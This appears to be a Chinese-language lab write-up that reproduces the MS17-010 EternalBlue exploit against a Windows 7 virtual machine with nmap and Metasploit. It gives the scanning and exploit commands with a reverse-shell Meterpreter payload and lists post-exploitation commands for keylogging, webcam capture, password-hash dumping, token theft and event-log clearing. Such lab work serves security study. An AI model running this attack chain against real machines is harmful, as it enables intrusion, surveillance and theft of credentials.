---
title: "Ms17 010（永恒之蓝）漏洞复现"
date: 2024-06-30T00:55:27Z
tags: []
---

### 一. 前言

#### 1. 漏洞描述

Eternalblue 通过 TCP 端口 445 和 139 来利用 SMBv1 和 NBT 中的远程代码执行漏洞，恶意代码会扫描开放 445 文件共享端口的 Windows 机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

#### 2.漏洞影响

目前已知受影响的 Windows 版本包括但不限于：Windows NT，Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

### 二. 复现环境

- 虚拟环境搭建：`VMware Workstation 17 pro`

- 网络模式：`NAT`

- 攻击机：`kali Linux WSL`
- 攻击机 IP：`192.168.97.173`
- 攻击工具：`nmap` `metasploit(MSF)`

- 靶机：`cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408`（**前提 win7 关闭防火墙**）
- 靶机 IP：`192.168.97.128`

### 三. 启动 MSF

1. 安装 MSF

   ```bash
   curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
   ```

2. 进入框架

   ```bash
   msfconsole
   ```

3. 初始化

   ```bash
   init
   ```

### 四. 寻找主机

- **ipconfig**

  使用`ipconfig`分别查看 win7 和 kali 中的 ip 地址

- **nmap**

  ```bash
  nmap -T5 -sP 192.168.97.0/24
  ```

  - **`-T5`**：使用速度模板**`T5`**，表示激进的扫描速度。
  - **`-sP`**：执行 Ping 连接扫描。
  - **`192.168.97.0/24`**：扫描指定的 IP 地址范围。

  | IP 地址  | 私有 ip 范围                   | 子网掩码      | CIDR           |
  | -------- | :----------------------------- | :------------ | :------------- |
  | A 类地址 | 10.0.0.0 ～ 10.255.255.255     | 255.0.0.0     | 10.0.0.0/8     |
  | B 类地址 | 172.16.0.0 ～ 173.31.255.255   | 255.255.0.0   | 172.16.0.0/16  |
  | C 类地址 | 192.168.0.0 ～ 192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 |

### 五. 端口扫描

- **nmap**

  ```bash
  nmap -T5 -sT 192.168.97.128
  ```

  - **`-T5`**：使用速度模板**`T5`**，表示激进的扫描速度。
  - **`-sT`**：执行 TCP 连接扫描。
  - **`192.168.97.128`**：扫描指定的 IP

- **MSF** 端口扫描

  1. 使用模块

     ```bash
     use auxiliary/scanner/portscan/tcp
     ```

  2. 设置扫描 ip

     ```bash
     set rhosts 192.168.97.128
     ```

  3. 运行

     ```bash
     run
     ```

### 六. 查找永恒之蓝漏洞

微软 永恒之蓝 编号`ms17-010`

```bash
search ms17_010
```

1. `exploit/windows/smb/ms17_010_eternalblue`

   - 这个模块利用了 MS17-010 漏洞，通过 EternalBlue 攻击载荷，远程执行代码。
   - EternalBlue 利用 Windows 的 Server Message Block（SMB）协议中的漏洞，允许攻击者在目标机器上执行任意代码。
   - 攻击成功后，通常会在目标机器上生成一个 Meterpreter 会话，从而允许进一步的渗透测试操作。

2. `exploit/windows/smb/ms17_010_psexec`

   - 这个模块结合 MS17-010 漏洞和 Psexec 技术，通过 SMB 协议在目标系统上执行命令。
   - 利用 MS17-010 漏洞进行初始攻击，然后使用 Psexec 进行进一步的远程命令执行。
   - 适用于在利用 MS17-010 漏洞后希望使用 Psexec 执行进一步的命令和控制操作时。

3. `auxiliary/admin/smb/ms17_010_command`

   - 这个辅助模块用于通过 MS17-010 漏洞在目标系统上执行指定的命令。
   - 不会生成一个持久的会话，而是直接执行特定的命令并返回结果。
   - 适用于希望通过 MS17-010 漏洞在目标系统上执行单个命令的场景。

4. `auxiliary/scanner/smb/smb_ms17_010`

   - 这个辅助模块用于扫描目标系统是否存在 MS17-010 漏洞。
   - 不会进行实际的漏洞利用或攻击，而是仅检测目标系统是否易受 MS17-010 漏洞的影响。

### 七. 漏洞检测

- 使用探测模块

  1. 使用`Auxiliary`辅助探测模块

     ```bash
      use auxiliary/scanner/smb/smb_ms17_010
     ```

     或

     ```bash
     use 24
     ```

  2. 查看需要配置的参数

     ```bash
     show options
     ```

  3. 设置目标主机地址

     ```bash
     set rhosts 192.168.97.128
     ```

  4. 运行

     ```bash
     run
     ```

- nmap

  ```bash
  nmap --script smb-vuln-ms17-010 192.168.97.128
  ```

### 八. 漏洞攻击

1. 加载 ms17-010 攻击模块

   ```bash
   use exploit/windows/smb/ms17_010_eternalblue
   ```

2. 设置目标主机地址

   ```bash
   set rhosts 192.168.97.128
   ```

3. 设置连接方式为反向连接

   ```bash
   set payload windows/x64/meterpreter/reverse_tcp
   ```

4. 运行

   ```bash
   run
   ```

### Meterpreter 的命令用法

```bash
==========================================
核心命令：
==========================================
命令                           说明
-------                       ------------
?                             帮助菜单
background                    把当前会话挂到后台运行
bg                            background命令的别名
bgkill                        杀死后台meterpreter 脚本
bglist                        列出正在运行的后台脚本
bgrun                         执行一个meterpreter脚本作为后台线程
channel                       显示信息或控制活动频道
close                         关闭一个频道
detach                        分离Meterpreter会话（用于 http/https）
disable_unicode_encoding      禁用 unicode 字符串的编码
enable_unicode_encoding       启用 unicode 字符串的编码
exit                          终止 Meterpreter 会话
get_timeouts                  获取当前会话超时值
guid                          获取会话 GUID
help                          帮助菜单
info                          显示有关 Post 模块的信息
irb                           在当前会话中打开一个交互式 Ruby shell
load                          加载一个或多个 Meterpreter 扩展
machine_id                    获取连接到会话的机器的 MSF ID
migrate                       将服务器迁移到另一个进程
pivot                         管理枢轴侦听器
pry                           在当前会话上打开 Pry 调试器
quit                          终止 Meterpreter 会话
read                          从通道读取数据
resource                      运行存储在文件中的命令
run                           执行一个 Meterpreter 脚本或 Post 模块
secure                       （重新）协商会话上的 TLV 数据包加密
sessions                      快速切换到另一个会话
set_timeouts                  设置当前会话超时值
sleep                         强制 Meterpreter 安静，然后重新建立会话
ssl_verify                    修改 SSL 证书验证设置
transport                     管理运输机制
use                           不推荐使用的load命令别名
uuid                          获取当前会话的 UUID
write                         将数据写入通道

==========================================
Stdapi：文件系统命令
==========================================

命令                           说明
-------                       ------------
cat                           将文件内容读到屏幕上
cd                            切换目录
checksum                      检索文件的校验和
cp                            将源复制到目标
del                           删除指定文件
dir                           列出文件（ls 的别名）
download                      下载文件或目录
edit                          编辑文件
getlwd                        打印本地工作目录
getwd                         打印工作目录
lcd                           更改本地工作目录
lls                           列出本地文件
lpwd                          打印本地工作目录
ls                            列出文件
mkdir                         制作目录
mv                            将源移动到目标
pwd                           打印工作目录
rm                            删除指定文件
rmdir                         删除目录
search                        搜索文件
show_mount                    列出所有挂载点/逻辑驱动器
upload                        上传文件或目录

==========================================
Stdapi：网络命令
==========================================
命令                           说明
-------                       ------------
arp                           显示主机 ARP 缓存
getproxy                      显示当前代理配置
ifconfig                      显示界面
ipconfig                      显示接口
netstat                       显示网络连接
portfwd                       将本地端口转发到远程服务
resolve                       解析目标上的一组主机名
route                         查看和修改路由表

==========================================
Stdapi：系统命令
==========================================
命令                           说明
-------                       ------------
clearev                       清除事件日志
drop_token                    放弃任何活动的模拟令牌。
execute                       执行命令
getenv                        获取一个或多个环境变量值
getpid                        获取当前进程标识符
getprivs                      尝试启用当前进程可用的所有权限
getid                         获取服务器运行的用户的 SID
getuid                        获取服务器运行的用户
kill                          终止进程
localtime                     显示目标系统本地日期和时间
pgrep                         按名称过滤进程
pkill                         按名称终止进程
ps                            列出正在运行的进程
reboot                        重启远程计算机
reg                           修改远程注册表并与之交互
rev2self                      在远程机器上调用 RevertToSelf()
shell                         放入系统命令 shell
shutdown                      关闭远程计算机
steal_token                   尝试从目标进程窃取模拟令牌
suspend                       暂停或恢复进程列表
sysinfo                       获取有关远程系统的信息，例如 OS

==========================================
Stdapi：用户界面命令
==========================================
命令                           说明
-------                       ------------
enumdesktops                  列出所有可访问的桌面和窗口站
getdesktop                    获取当前的meterpreter桌面
idletime                      返回远程用户空闲的秒数
keyboard_send                 发送击键
keyevent                      发送按键事件
keyscan_dump                  转储击键缓冲区
keyscan_start                 开始捕获击键
keyscan_stop                  停止捕获击键
mouse                         发送鼠标事件
screenshare                   实时观看远程用户桌面
screenshot                    抓取交互式桌面的截图
setdesktop                    更改meterpreters当前桌面
uictl                         控制一些用户界面组件

==========================================
Stdapi：网络摄像头命令：
==========================================
命令                           说明
-------                       ------------
record_mic                    从默认麦克风录制音频 X 秒
webcam_chat                   开始视频聊天
webcam_list                   列出网络摄像头
webcam_snap                   从指定的网络摄像头拍摄快照
webcam_stream                 从指定的网络摄像头播放视频流

==========================================
Stdapi：音频输出命令：
==========================================
命令                           说明
-------                       ------------
play                          在目标系统上播放波形音频文件 (.wav)

==========================================
Priv：权限提升命令：
==========================================
命令                           说明
-------                       ------------
getsystem                     尝试将您的权限提升到本地系统的权限。

==========================================
Priv：密码数据库命令：
==========================================
命令                           说明
-------                       ------------
hashdump                      转储 SAM 数据库的内容

==========================================
Priv：Timestomp 命令：
==========================================
命令                           说明
-------                       ------------
timestomp                     操作文件 MACE 属性
```

### 使用发放

#### 基础使用

- 进入框架

  ```bash
  msfconsole
  ```

- 查找漏洞

  ```bash
  search 漏洞编号
  ```

- 使用模块

  ```bash
  run
  ```

#### Meterpreter 工作原理

> 首先目标先要执行初始的溢出漏洞会话连接，可能是 bind 正向连接，或者反弹 reverse 连接。反射连接的时候加载 dll 链接文件，同时后台悄悄处理 dll 文件。其次 Meterpreter 核心代码初始化,通过 socket 套接字建立一个 TLS/1.0 加密隧道并发送 GET 请求给 Metasploit 服务端。Metasploit 服务端收到这个 GET 请求后就配置相应客户端。最后，Meterpreter 加载扩展，所有的扩展被加载都通过 TLS/1.0 进行数据传输。

#### 漏洞利用(exploit)

> 漏洞利用 exploit，也就是我们常说的 exp，他就是对漏洞进行攻击的代码。

exploit 漏洞利用模块路径(这里面有针对不同平台的 exploit)：

```php
/usr/share/metasploit-framework/modules/exploits
```

#### 攻击载荷(payload)

> Payload：Payload 中包含攻击进入目标主机后需要在远程系统中运行的恶意代码，而在 Metasploit 中 Payload 是一种特殊模块，它们能够以漏洞利用模块运行，并能够利用目标系统中的安全漏洞实施攻击。简而言之，这种漏洞利用模块可以访问目标系统，而其中的代码定义了 Payload 在目标系统中的行为。
>
> Shellcode：Shellcode 是 payload 中的精髓部分，在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode 通常用汇编语言编写。在大多数情况下，目标系统执行了 shellcode 这一组指令之后，才会提供一个命令行 shell。

##### payload 模块路径

```php
/usr/share/metasploit-framework/modules/payloads
```

##### Metasploit 中的 Payload 模块主要有以下三种类型

- Single：

  > 是一种完全独立的 Payload，而且使用起来就像运行 calc.exe 一样简单，例如添加一个系统用户或删除一份文件。由于 Single Payload 是完全独立的，因此它们有可能会被类似 netcat 这样的非 metasploit 处理工具所捕捉到。

- Stager：

  > 这种 Payload 负责建立目标用户与攻击者之间的网络连接，并下载额外的组件或应用程序。一种常见的 Stager Payload 就是 reverse_tcp，它可以让目标系统与攻击者建立一条 tcp 连接，让目标系统主动连接我们的端口(反向连接)。另一种常见的是 bind_tcp，它可以让目标系统开启一个 tcp 监听器，而攻击者随时可以与目标系统进行通信(正向连接)。

- Stage：

  > 是 Stager Payload 下的一种 Payload 组件，这种 Payload 可以提供更加高级的功能，而且没有大小限制。

##### 几种常见的 payload

- 正向连接

  ```bash
  windows/meterpreter/bind_tcp
  ```

- 反向连接

  ```bash
  windows/meterpreter/reverse_tcp
  ```

- 过监听 80 端口反向连接

  ```bash
  windows/meterpreter/reverse_http
  ```

- 通过监听 443 端口反向连接

  ```bash
  windows/meterpreter/reverse_https
  ```

##### **使用场景**

- 正向连接使用场景：

  > 我们的攻击机在内网环境，被攻击机是外网环境，由于被攻击机无法主动连接到我们的主机，所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是，被攻击机上开了防火墙，只允许访问指定的端口，比如被攻击机只对外开放了 80 端口。那么，我们就只能设置正向连接 80 端口了，这里很有可能失败，因为 80 端口上的流量太多了。

- 反向连接使用场景：

  > 我们的主机和被攻击机都是在外网或者都是在内网，这样被攻击机就能主动连接到我们的主机了。如果是这样的情况，建议使用反向连接，因为反向连接的话，即使被攻击机开了防火墙也没事，防火墙只是阻止进入被攻击机的流量，而不会阻止被攻击机主动向外连接的流量。

- 反向连接 80 和 443 端口使用场景：

  > 被攻击机能主动连接到我们的主机，还有就是被攻击机的防火墙设置的特别严格，就连被攻击机访问外部网络的流量也进行了严格的限制，只允许被攻击机的 80 端口或 443 端口与外部通信。
